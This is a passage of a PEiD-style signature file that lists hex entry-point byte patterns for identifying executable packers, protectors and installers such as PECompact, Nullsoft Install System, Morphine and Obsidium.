74 04 3C 20 7E F5 8D 45 B8 50 FF 15 E4 C1 44 00 8B 45 E4 25 01 00 00 00 74 06 0F B7 45 E8 EB 05 B8 0A 00 00 00 50 53 6A 00 6A 00 FF 15 08 C2 44 00 50 E8 63 15 FF FF 50 E8 EE 2A 00 00 59 8D 65 FC 5B -ep_only = true - -[Microsoft CAB SFX module] -signature = 55 8B EC 83 EC 44 56 FF 15 ?? 10 00 01 8B F0 8A 06 3C 22 75 14 8A 46 01 46 84 C0 74 04 3C 22 75 F4 80 3E 22 75 0D ?? EB 0A 3C 20 -ep_only = true - -[Macromedia Windows Flash Projector/Player v3.0] -signature = 55 8B EC 83 EC 44 56 FF 15 94 13 42 00 8B F0 B1 22 8A 06 3A C1 75 13 8A 46 01 46 3A C1 74 04 84 C0 75 F4 38 0E 75 0D 46 EB 0A 3C 20 7E 06 -ep_only = true - -[Macromedia Windows Flash Projector/Player v4.0] -signature = 83 EC 44 56 FF 15 24 41 43 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C -ep_only = true - -[Macromedia Windows Flash Projector/Player v5.0] -signature = 83 EC 44 56 FF 15 70 61 44 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C 3C 20 7E 08 8A 46 01 46 3C 20 7F F8 8A 06 84 C0 74 0C 3C 20 7F 08 8A 46 01 46 84 C0 75 F4 8D 44 24 04 C7 44 24 30 00 00 00 00 50 FF 15 80 61 44 00 F6 44 24 30 01 74 0B 8B 44 24 34 25 FF FF 00 00 EB 05 B8 0A 00 00 00 50 56 6A 00 6A 00 FF 15 74 61 44 00 50 E8 18 00 00 00 50 FF 15 78 61 44 00 5E 83 C4 44 C3 90 90 90 90 90 90 -ep_only = true - -[Macromedia Windows Flash Projector/Player v6.0] -signature = 83 EC 44 56 FF 15 24 81 49 00 8B F0 8A 06 3C 22 75 1C 8A 46 01 46 3C 22 74 0C 84 C0 74 08 8A 46 01 46 3C 22 75 F4 80 3E 22 75 0F 46 EB 0C -ep_only = true - -[Morphine v1.2] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? 00 00 00 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 51 66 ?? ?? ?? 59 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E2 ?? ?? ?? ?? ?? 82 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[Morphine v1.2 (DLL)] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 5B ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 -ep_only = true - -[Neolite v2.0] -signature = E9 A6 00 00 00 -ep_only = true - -[NeoLite vx.x] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9E 37 00 00 ?? ?? 48 ?? ?? ?? 6F 4C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61 -ep_only = true - -[NeoLite v1.0] -signature = E9 9B 00 00 00 A0 -ep_only = true - -[NeoLite v1.0] -signature = 8B 44 24 04 8D 54 24 FC 23 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 50 FF 25 -ep_only = true - -[NeoLite v2.00] -signature = E9 A6 -ep_only = true - -[NeoLite v2.00] -signature = 8B 44 24 04 23 05 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 04 FE 05 ?? ?? ?? ?? 0B C0 74 -ep_only = true - -[NeoLite v2.0] -signature = E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4E 65 6F 4C 69 74 65 -ep_only = true - -[NFO v1.0] -signature = 8D 50 12 2B C9 B1 1E 8A 02 34 77 88 02 42 E2 F7 C8 8C -ep_only = true - -[NFO v1.x modified] -signature = 60 9C 8D 50 -ep_only = true - -[NoodleCrypt v2.0] -signature = EB 01 9A E8 3D 00 00 00 EB 01 9A E8 EB 01 00 00 EB 01 9A E8 2C 04 00 00 EB 01 -ep_only = true - -[Nullsoft Install System v1.xx] -signature = 55 8B EC 83 EC 2C 53 56 33 F6 57 56 89 75 DC 89 75 F4 BB A4 9E 40 00 FF 15 60 70 40 00 BF C0 B2 40 00 68 04 01 00 00 57 50 A3 AC B2 40 00 FF 15 4C 70 40 00 56 56 6A 03 56 6A 01 68 00 00 00 80 57 FF 15 9C 70 40 00 8B F8 83 FF FF 89 7D EC 0F 84 C3 00 00 00 56 56 56 89 75 E4 E8 C1 C9 FF FF 8B 1D 68 70 40 00 83 C4 0C 89 45 E8 89 75 F0 6A 02 56 6A FC 57 FF D3 89 45 FC 8D 45 F8 56 50 8D 45 E4 6A 04 50 57 FF 15 48 70 40 00 85 C0 75 07 BB 7C 9E 40 00 EB 7A 56 56 56 57 FF D3 39 75 FC 7E 62 BF 74 A2 40 00 B8 00 10 00 00 39 45 FC 7F 03 8B 45 FC 8D 4D F8 56 51 50 57 FF 75 EC FF 15 48 70 40 00 85 C0 74 5A FF 75 F8 57 FF 75 E8 E8 4D C9 FF FF 89 45 E8 8B 45 F8 29 45 FC 83 C4 0C 39 75 F4 75 11 57 E8 D3 F9 FF FF 85 C0 59 74 06 8B 45 F0 89 45 F4 8B 45 F8 01 45 F0 39 75 FC -ep_only = true - -[Nullsoft Install System v1.xx] -signature = 83 EC 0C 53 56 57 FF 15 20 71 40 00 05 E8 03 00 00 BE 60 FD 41 00 89 44 24 10 B3 20 FF 15 28 70 40 00 68 00 04 00 00 FF 15 28 71 40 00 50 56 FF 15 08 71 40 00 80 3D 60 FD 41 00 22 75 08 80 C3 02 BE 61 FD 41 00 8A 06 8B 3D F0 71 40 00 84 C0 74 0F 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00 74 05 56 FF D7 8B F0 89 74 24 14 80 3E 20 75 07 56 FF D7 8B F0 EB F4 80 3E 2F 75 -ep_only = true - -[Nullsoft Install System v1.98] -signature = 83 EC 0C 53 56 57 FF 15 2C 81 40 -ep_only = true - -[Nullsoft Install System v2.0b2, v2.0b3] -signature = 83 EC 0C 53 55 56 57 FF 15 ?? 70 40 00 8B 35 ?? 92 40 00 05 E8 03 00 00 89 44 24 14 B3 20 FF 15 2C 70 40 00 BF 00 04 00 00 68 ?? ?? ?? 00 57 FF 15 ?? ?? 40 00 57 FF 15 -ep_only = true - -[Nullsoft PIMP Install System v1.3x] -signature = 55 8B EC 81 EC ?? ?? 00 00 56 57 6A ?? BE ?? ?? ?? ?? 59 8D BD -ep_only = true - -[Nullsoft PIMP Install System v1.x] -signature = 83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00 -ep_only = true - -[NX PE Packer v1.0] -signature = FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00 -ep_only = true - -[Obsidium v1.1.1.1] -signature = EB 02 ?? ?? E8 E7 1C 00 00 -ep_only = true - -[Obsidium v1.0.0.59 Final] -signature = E8 AB 1C -ep_only = true - -[Obsidium v1.0.0.61] -signature = E8 AF 1C 00 00 -ep_only = true - -[Obsidium vx.x.x.x] -signature = E8 47 19 -ep_only = true - -[ORiEN v2.11 (DEMO)] -signature = E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F 74 65 63 74 69 6F 6E 20 73 79 73 74 65 6D 20 2D 0D 0A 2D 2D 2D 2D 2D 2D 20 43 72 65 61 74 65 64 20 62 79 20 41 2E 20 46 69 73 75 6E 2C 20 31 39 39 34 2D 32 30 30 33 20 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 20 57 57 57 3A 20 68 74 74 70 3A 2F 2F 7A 61 6C 65 78 66 2E 6E 61 72 6F 64 2E 72 75 2F 20 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 20 65 2D 6D 61 69 6C 3A 20 7A 61 6C 65 78 66 40 68 6F 74 6D 61 69 6C 2E 72 75 20 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D -ep_only = true - -[Pack Master v1.0] -signature = 60 E8 01 ?? ?? ?? E8 83 C4 04 E8 01 ?? ?? ?? E9 5D 81 ED D3 22 40 ?? E8 04 02 ?? ?? E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 -ep_only = true - -[PC PE Encryptor Alpha preview] -signature = 53 51 52 56 57 55 E8 00 00 00 00 5D 8B CD 81 ED 33 30 40 ?? 2B 8D EE 32 40 00 83 E9 0B 89 8D F2 32 40 ?? 80 BD D1 32 40 ?? 01 0F 84 -ep_only = true - -[PEEncrypt v4.0b (JunkCode)] -signature = 66 ?? ?? 00 66 83 ?? 00 -ep_only = true - -[PE Crypt v1.00/v1.01] -signature = E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB -ep_only = true - -[PE Crypt v1.02] -signature = E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 -ep_only = true - -[PE Crypt32 v1.02] -signature = E8 00 00 00 00 5B 83 ?? ?? EB ?? 52 4E 44 21 -ep_only = true - -[PE Crypt32 (Console v1.0, v1.01, v1.02)] -signature = E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB -ep_only = true - -[PE Intro v1.0] -signature = 8B 04 24 9C 60 E8 ?? ?? ?? ?? 5D 81 ED 0A 45 40 ?? 80 BD 67 44 40 ?? ?? 0F 85 48 -ep_only = true - -[PE Lock NT v2.01] -signature = EB 03 CD 20 EB EB 01 EB 1E EB 01 EB EB 02 CD 20 9C EB 03 CD -ep_only = true - -[PE Lock NT v2.02c] -signature = EB 02 C7 85 1E EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB 02 CD -ep_only = true - -[PE Lock NT v2.03] -signature = EB 02 C7 85 1E EB 03 CD 20 C7 9C EB 02 69 B1 60 EB 02 EB 01 -ep_only = true - -[PE Lock NT v2.04] -signature = EB ?? CD ?? ?? ?? ?? ?? CD ?? ?? ?? ?? ?? EB ?? EB ?? EB ?? EB ?? CD ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 50 C3 -ep_only = true - -[PE Lock v1.06] -signature = 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 4B 45 -ep_only = true - -[PE Pack v0.99] -signature = 60 E8 ?? ?? ?? ?? 5D 83 ED 06 80 BD E0 04 ?? ?? 01 0F 84 F2 -ep_only = true - -[PE Pack v1.0] -signature = 74 ?? E9 -ep_only = true - -[PE Packer] -signature = FC 8B 35 70 01 40 ?? 83 EE 40 6A 40 68 ?? 30 10 -ep_only = true - -[PE Password v0.2 SMT/SMF] -signature = E8 04 ?? ?? ?? 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 ?? 81 EF ?? ?? ?? ?? 83 EF 05 89 AD 88 27 40 ?? 8D 9D 07 29 40 ?? 8D B5 62 28 40 ?? 46 80 -ep_only = true - -[PE Protect v0.9] -signature = 52 51 55 57 64 67 A1 30 00 85 C0 78 0D E8 ?? ?? ?? ?? 58 83 C0 07 C6 ?? C3 -ep_only = true - -[PC Shrinker v0.20] -signature = E8 E8 01 ?? ?? 60 01 AD B3 27 40 ?? 68 -ep_only = true - -[PC Shrinker v0.29] -signature = ?? BD ?? ?? ?? ?? 01 AD 55 39 40 ?? 8D B5 35 39 40 -ep_only = true - -[PC Shrinker v0.45] -signature = ?? BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40 -ep_only = true - -[PC Shrinker v0.71] -signature = 9C 60 BD ?? ?? ?? ?? 01 AD 54 3A 40 ?? FF B5 50 3A 40 ?? 6A 40 FF 95 88 3A 40 ?? 50 50 2D ?? ?? ?? ?? 89 85 -ep_only = true - -[PC-Guard v3.03d, v3.05d] -signature = 55 50 E8 ?? ?? ?? ?? 5D EB 01 E3 60 E8 03 ?? ?? ?? D2 EB 0B 58 EB 01 48 40 EB 01 -ep_only = true - -[PC-Guard v4.05d, v4.10d, v4.15d] -signature = FC 55 50 E8 00 00 00 00 5D EB 01 -ep_only = true - -[PC-Guard v5.00d] -signature = FC 55 50 E8 00 00 00 00 5D 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 B8 30 D2 40 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 2B E8 9C EB 01 D5 9D EB 01 0B 58 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 85 E1 EA 41 00 9C EB 01 D5 9D EB 01 0B 58 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 85 F9 EA 41 00 9C EB 01 D5 9D EB 01 0B 89 9D E5 EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 8D E9 EA 41 00 EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 89 95 ED EA 41 00 60 E8 03 00 00 00 83 EB 0E EB 01 0C 58 EB 01 35 40 EB 01 36 FF E0 0B 61 89 B5 F1 EA 41 00 9C EB 01 D5 9D EB 01 0B 89 -ep_only = true - -[PE-Crypter] -signature = 60 E8 00 00 00 00 5D EB 26 -ep_only = true - -[Pack Master v1.0] -signature = 60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED D3 22 40 00 E8 04 02 00 00 E8 EB 08 EB 02 CD 20 FF 24 24 9A 66 BE 47 46 -ep_only = true - -[PEBundle v0.2 - v2.0x] -signature = 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 -ep_only = true - -[PEBundle v2.0b5 - v2.3] -signature = 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD -ep_only = true - -[PEBundle v2.44] -signature = 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 83 BD -ep_only = true - -[PECompact v0.90] -signature = EB 06 68 ?? ?? 40 00 C3 9C 60 BD ?? ?? 00 00 B9 02 00 00 00 B0 90 8D BD 7A 42 40 00 F3 AA 01 AD D9 43 40 00 FF B5 -ep_only = true - -[PECompact v0.92] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 BD ?? ?? ?? ?? B9 02 ?? ?? ?? B0 90 8D BD A5 4F 40 ?? F3 AA 01 AD 04 51 40 ?? FF B5 -ep_only = true - -[PECompact v0.94] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 ?? ?? ?? ?? 5D 55 58 81 ED ?? ?? ?? ?? 2B 85 ?? ?? ?? ?? 01 85 ?? ?? ?? ?? 50 B9 02 -ep_only = true - -[PECompact v0.971 - v0.976] -signature = EB 06 68 C3 9C 60 E8 5D 55 5B 81 ED 8B 85 01 85 66 C7 85 -ep_only = true - -[PECompact v0.977] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB A0 86 40 ?? 87 DD 8B 85 2A 87 -ep_only = true - -[PECompact v0.978] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88 -ep_only = true - -[PECompact v0.978.1] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 49 87 40 ?? 87 DD 8B 85 CE 87 -ep_only = true - -[PECompact v0.978.2] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85 -ep_only = true - -[PECompact v0.98] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D7 84 40 ?? 87 DD 8B 85 5C 85 -ep_only = true - -[PECompact v0.99] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 2F 85 40 ?? 87 DD 8B 85 B4 85 -ep_only = true - -[PECompact v1.00] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB C4 84 40 ?? 87 DD 8B 85 49 85 -ep_only = true - -[PECompact v1.10b1] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 ?? 87 DD 8B 85 AD 63 -ep_only = true - -[PECompact v1.10b2] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 94 60 -ep_only = true - -[PECompact v1.10b3] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 95 -ep_only = true - -[PECompact v1.10b4] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 44 -ep_only = true - -[PECompact v1.10b5] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 95 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 BB 49 -ep_only = true - -[PECompact v1.10b6] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 ?? 00 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB B7 -ep_only = true - -[PECompact v1.10b7] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 60 40 ?? 87 DD 8B 85 9A 60 40 ?? 01 85 03 60 40 ?? 66 C7 85 ?? 60 40 ?? 90 90 01 85 92 60 40 ?? BB 14 -ep_only = true - -[PECompact v1.20 - v1.20.1] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 9A 70 40 -ep_only = true - -[PECompact v1.22] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 ?? 70 40 ?? 90 90 01 85 9E 70 40 ?? BB F3 08 -ep_only = true - -[PECompact v1.23b3 - v1.24.1] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 08 -ep_only = true - -[PECompact v1.24.2 - v1.24.3] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? D2 09 -ep_only = true - -[PECompact v1.25] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? F3 0D -ep_only = true - -[PECompact v1.26b1 - v1.26b2] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 70 40 ?? 87 DD 8B 85 A6 70 40 ?? 01 85 03 70 40 ?? 66 C7 85 70 40 90 ?? 90 01 85 9E 70 40 BB ?? 05 0E -ep_only = true - -[PECompact v1.33] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 00 80 40 ?? 90 90 01 85 9E 80 40 ?? BB E8 0E -ep_only = true - -[PECompact v1.34 - v1.40b1] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A6 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 00 80 ?? 40 90 90 01 85 9E 80 ?? 40 BB F8 10 -ep_only = true - -[PECompact v1.40b2 - v1.40b4] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11 -ep_only = true - -[PECompact v1.40b5 - v1.40b6] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 8A 11 -ep_only = true - -[PECompact v1.40 - v1.45] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11 -ep_only = true - -[PECompact v1.46] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12 -ep_only = true - -[PECompact v1.47 - v1.50] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 5B 12 -ep_only = true - -[PECompact v1.55] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 80 40 ?? 87 DD 8B 85 A2 80 40 ?? 01 85 03 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 9E 80 40 ?? BB 2D 12 -ep_only = true - -[PECompact v1.56] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F 90 40 ?? 87 DD 8B 85 A2 90 40 ?? 01 85 03 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 9E 90 40 ?? BB 2D 12 -ep_only = true - -[PECompact v1.60 - v1.65] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 80 40 ?? 87 DD 8B 85 D2 80 40 ?? 01 85 33 80 40 ?? 66 C7 85 ?? 80 40 ?? 90 90 01 85 CE 80 40 ?? BB BB 12 -ep_only = true - -[PECompact v1.66] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 ?? 87 DD 8B 85 E6 90 40 ?? 01 85 33 90 40 ?? 66 C7 85 ?? 90 40 ?? 90 90 01 85 DA 90 40 ?? 01 85 DE 90 40 ?? 01 85 E2 90 40 ?? BB 5B 11 -ep_only = true - -[PECompact v1.67] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 8B 11 -ep_only = true - -[PECompact v1.68 - v1.84] -signature = EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 87 DD 8B 85 E6 90 40 01 85 33 90 40 66 C7 85 90 40 90 90 01 85 DA 90 40 01 85 DE 90 40 01 85 E2 90 40 BB 7B 11 -ep_only = true - 